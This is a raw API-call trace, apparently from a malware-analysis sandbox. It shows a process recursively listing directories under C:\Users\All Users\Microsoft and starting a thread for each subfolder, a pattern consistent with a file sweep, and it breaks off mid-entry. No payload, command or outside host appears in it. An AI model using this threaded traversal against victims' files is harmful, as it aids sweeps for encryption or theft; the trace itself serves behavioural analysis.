[0072.336] wcscmp (_String1="MSFax", _String2=".") returned 1 [0072.336] wcscmp (_String1="MSFax", _String2="..") returned 1 [0072.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427208 [0072.336] wcscpy (in: _Dest=0x3427208, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0072.336] wcscat (in: _Dest=0x3427208, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0072.336] wcscat (in: _Dest=0x3427208, _Source="MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0072.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0072.796] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0072.796] wcscmp (_String1="MSScan", _String2=".") returned 1 [0072.796] wcscmp (_String1="MSScan", _String2="..") returned 1 [0072.796] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x34273a8 [0072.796] wcscpy (in: _Dest=0x34273a8, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0072.796] wcscat (in: _Dest=0x34273a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0072.796] wcscat (in: _Dest=0x34273a8, _Source="MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0072.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34273a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0072.797] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0072.797] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0072.797] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed698) returned 1 [0072.797] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34800c0) returned 1 [0072.797] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430cd8) returned 1 [0072.797] RtlExitUserThread (Status=0x0) Thread: id = 526 os_tid = 0x174 [0072.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479da8 [0072.339] wcscpy (in: _Dest=0x3479da8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Security Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health" [0072.339] wcscat (in: _Dest=0x3479da8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\" [0072.339] wcscat (in: _Dest=0x3479da8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\*" [0072.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed900 [0072.339] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\*", lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433868 [0072.339] wcscmp (_String1=".", _String2=".") returned 0 [0072.339] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.339] wcscmp (_String1="..", _String2=".") returned 1 [0072.339] wcscmp (_String1="..", _String2="..") returned 0 [0072.339] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0fb9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health Advisor", cAlternateFileName="HEALTH~1")) returned 1 [0072.339] wcscmp (_String1="Health Advisor", _String2=".") returned 1 [0072.339] wcscmp (_String1="Health Advisor", _String2="..") returned 1 [0072.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2cc0 [0072.339] wcscpy (in: _Dest=0x33e2cc0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Security Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health" [0072.339] wcscat (in: _Dest=0x33e2cc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\" [0072.339] wcscat (in: _Dest=0x33e2cc0, _Source="Health Advisor" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Health Advisor" [0072.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e2cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0072.793] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb32cf2c, ftLastAccessTime.dwHighDateTime=0x1d4d600, ftLastWriteTime.dwLowDateTime=0xb32cf2c, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0072.793] wcscmp (_String1="Logs", _String2=".") returned 1 [0072.793] wcscmp (_String1="Logs", _String2="..") returned 1 [0072.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd570 [0072.794] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Users\\All Users\\Microsoft\\Windows Security Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health" [0072.794] wcscat (in: _Dest=0x33cd570, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\" [0072.794] wcscat (in: _Dest=0x33cd570, _Source="Logs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health\\Logs" [0072.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0072.794] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb32cf2c, ftLastAccessTime.dwHighDateTime=0x1d4d600, ftLastWriteTime.dwLowDateTime=0xb32cf2c, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0072.794] FindClose (in: hFindFile=0x3433868 | out: hFindFile=0x3433868) returned 1 [0072.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed900) returned 1 [0072.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0072.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0072.795] RtlExitUserThread (Status=0x0) Thread: id = 527 os_tid = 0x1010 [0072.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3431048 [0072.340] wcscpy (in: _Dest=0x3431048, _Source="C:\\Users\\All Users\\Microsoft\\WinMSIPC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC" [0072.340] wcscat (in: _Dest=0x3431048, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\" [0072.340] wcscat (in: _Dest=0x3431048, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\*") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\*" [0072.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33edb68 [0072.340] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\*", lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34338e8 [0072.341] wcscmp (_String1=".", _String2=".") returned 0 [0072.341] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.341] wcscmp (_String1="..", _String2=".") returned 1 [0072.341] wcscmp (_String1="..", _String2="..") returned 0 [0072.341] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0072.341] wcscmp (_String1="Server", _String2=".") returned 1 [0072.341] wcscmp (_String1="Server", _String2="..") returned 1 [0072.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427270 [0072.341] wcscpy (in: _Dest=0x3427270, _Source="C:\\Users\\All Users\\Microsoft\\WinMSIPC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC" [0072.341] wcscat (in: _Dest=0x3427270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\" [0072.341] wcscat (in: _Dest=0x3427270, _Source="Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server" [0072.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0072.792] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0072.792] FindClose (in: hFindFile=0x34338e8 | out: hFindFile=0x34338e8) returned 1 [0072.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33edb68) returned 1 [0072.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431048) returned 1 [0072.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430968) returned 1 [0072.792] RtlExitUserThread (Status=0x0) Thread: id = 528 os_tid = 0x1058 [0072.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x34310f8 [0072.341] wcscpy (in: _Dest=0x34310f8, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0072.342] wcscat (in: _Dest=0x34310f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0072.342] wcscat (in: _Dest=0x34310f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*" [0072.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eddd0 [0072.342] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433de8 [0072.342] wcscmp (_String1=".", _String2=".") returned 0 [0072.342] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.342] wcscmp (_String1="..", _String2=".") returned 1 [0072.342] wcscmp (_String1="..", _String2="..") returned 0 [0072.342] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMProfiles", cAlternateFileName="DMPROF~1")) returned 1 [0072.342] wcscmp (_String1="DMProfiles", _String2=".") returned 1 [0072.342] wcscmp (_String1="DMProfiles", _String2="..") returned 1 [0072.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x34272d8 [0072.342] wcscpy (in: _Dest=0x34272d8, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0072.342] wcscat (in: _Dest=0x34272d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0072.342] wcscat (in: _Dest=0x34272d8, _Source="DMProfiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles" [0072.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34272d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0072.789] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0072.789] wcscmp (_String1="Profiles", _String2=".") returned 1 [0072.789] wcscmp (_String1="Profiles", _String2="..") returned 1 [0072.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427340 [0072.789] wcscpy (in: _Dest=0x3427340, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0072.789] wcscat (in: _Dest=0x3427340, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0072.789] wcscat (in: _Dest=0x3427340, _Source="Profiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" [0072.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0072.790] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x33eddd0 | out: lpFindFileData=0x33eddd0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0072.790] FindClose (in: hFindFile=0x3433de8 | out: hFindFile=0x3433de8) returned 1 [0072.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eddd0) returned 1 [0072.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34310f8) returned 1 [0072.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430ff0) returned 1 [0072.790] RtlExitUserThread (Status=0x0) Thread: id = 529 os_tid = 0x1060 [0072.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e110 [0072.343] wcscpy (in: _Dest=0x347e110, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0072.343] wcscat (in: _Dest=0x347e110, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\" [0072.343] wcscat (in: _Dest=0x347e110, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*" [0072.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee038 [0072.343] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e28 [0072.344] wcscmp (_String1=".", _String2=".") returned 0 [0072.344] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.344] wcscmp (_String1="..", _String2=".") returned 1 [0072.344] wcscmp (_String1="..", _String2="..") returned 0 [0072.344] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0072.344] wcscmp (_String1="Cm", _String2=".") returned 1 [0072.344] wcscmp (_String1="Cm", _String2="..") returned 1 [0072.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e180 [0072.344] wcscpy (in: _Dest=0x347e180, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0072.344] wcscat (in: _Dest=0x347e180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\" [0072.344] wcscat (in: _Dest=0x347e180, _Source="Cm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm" [0072.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0072.786] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0072.786] wcscmp (_String1="CM_old", _String2=".") returned 1 [0072.786] wcscmp (_String1="CM_old", _String2="..") returned 1 [0072.786] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e98 [0072.786] wcscpy (in: _Dest=0x3479e98, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0072.787] wcscat (in: _Dest=0x3479e98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\" [0072.787] wcscat (in: _Dest=0x3479e98, _Source="CM_old" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old" [0072.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0072.787] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 0 [0072.787] FindClose (in: hFindFile=0x3433e28 | out: hFindFile=0x3433e28) returned 1 [0072.787] RtlFreeHeap 